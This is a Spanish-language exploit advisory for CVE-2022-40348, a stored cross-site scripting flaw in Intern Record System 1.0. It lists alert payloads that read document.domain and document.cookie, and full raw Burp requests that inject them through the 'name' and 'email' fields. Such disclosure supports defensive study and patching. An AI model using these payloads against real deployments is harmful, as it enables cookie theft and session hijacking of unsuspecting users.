CVE-2022-40348: Intern Record System - Cross-site Scripting (XSS no autenticado) en 'name' y 'email'

• Título del Exploit: Intern Record System - Cross-site Scripting (XSS no autenticado) en 'name' y 'email'
• Fecha: 2022-06-09
• Autor del Exploit: Hamdi Sevben
• Página del Vendedor: https://code-projects.org/intern-record-system-in-php-with-source-code/
• Enlace del Software: https://download-media.code-projects.org/2020/03/Intern_Record_System_In_PHP_With_Source_Code.zip
• Versión: 1.0
• Probado en: Windows 10 Pro + PHP 8.1.6, Apache 2.4.53
• CVE: CVE-2022-40348

Referencias:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40348
• https://nvd.nist.gov/vuln/detail/CVE-2022-40348

1. Descripción:

Intern Record System 1.0 permite Cross-site Scripting Almacenado a través de los parámetros 'name' y 'email' en "/intern/controller.php". Intern Record System es vulnerable a una vulnerabilidad de cross-site scripting porque no sanitiza suficientemente los datos proporcionados por el usuario. Un atacante podría aprovechar este problema para ejecutar código script arbitrario en el navegador de un usuario desprevenido en el contexto del sitio afectado. Esto puede permitir al atacante robar credenciales de autenticación basadas en cookies y lanzar otros ataques.

2. Prueba de Concepto:

• Solicitud de Burpsuite en los parámetros 'name' o 'email' con payloads en http://localhost/intern/controller.php
• Ir a la página http://localhost/intern/view.php
• Refrescar la página.
• El XSS se activará.
• Aparecerá una alerta.

3. Payload de ejemplo:

• Payload-1: <script>alert(document.domain)</script>
• Payload-2: <script>alert(document.cookie)</script>

4. Solicitud de Burpsuite en el parámetro 'name':

• Inyección:

POST /intern/controller.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Content-Length: 78  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost/intern/  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  

name=<script>alert(document.domain)</script>&email=&phone=&deptType=3

• Página de identificación:

GET /intern/view.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Referer: http://localhost/intern/controller.php  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  

5. Solicitud de Burpsuite en el parámetro 'email':

• Inyección:

POST /intern/controller.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Content-Length: 153  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost/intern/  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  

name=&email=<script>alert(document.cookie)</script>&phone=&deptType=3  

• Página de identificación:

GET /intern/view.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Referer: http://localhost/intern/controller.php  

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36